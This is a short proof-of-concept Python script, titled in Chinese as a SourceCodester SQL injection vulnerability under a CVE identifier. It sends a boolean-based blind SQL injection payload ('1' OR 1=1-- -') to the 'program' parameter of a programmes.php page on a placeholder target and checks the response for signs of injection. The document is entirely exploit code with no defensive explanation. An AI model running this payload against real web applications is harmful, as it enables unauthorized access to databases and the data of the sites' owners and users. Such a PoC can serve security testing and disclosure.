CVE-2026-4625 SourceCodester SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/programmes.php" # Vulnerable parameter: program # Payload: Testing for boolean-based blind SQL injection # Example: ' OR 1=1-- - payload = "1' OR 1=1-- -" params = { "program": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response content for differences indicating injection.") # Analyze response to confirm vulnerability if "expected_content" in response.text: print("[!] Vulnerability confirmed!") else: print("[-] Target returned status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")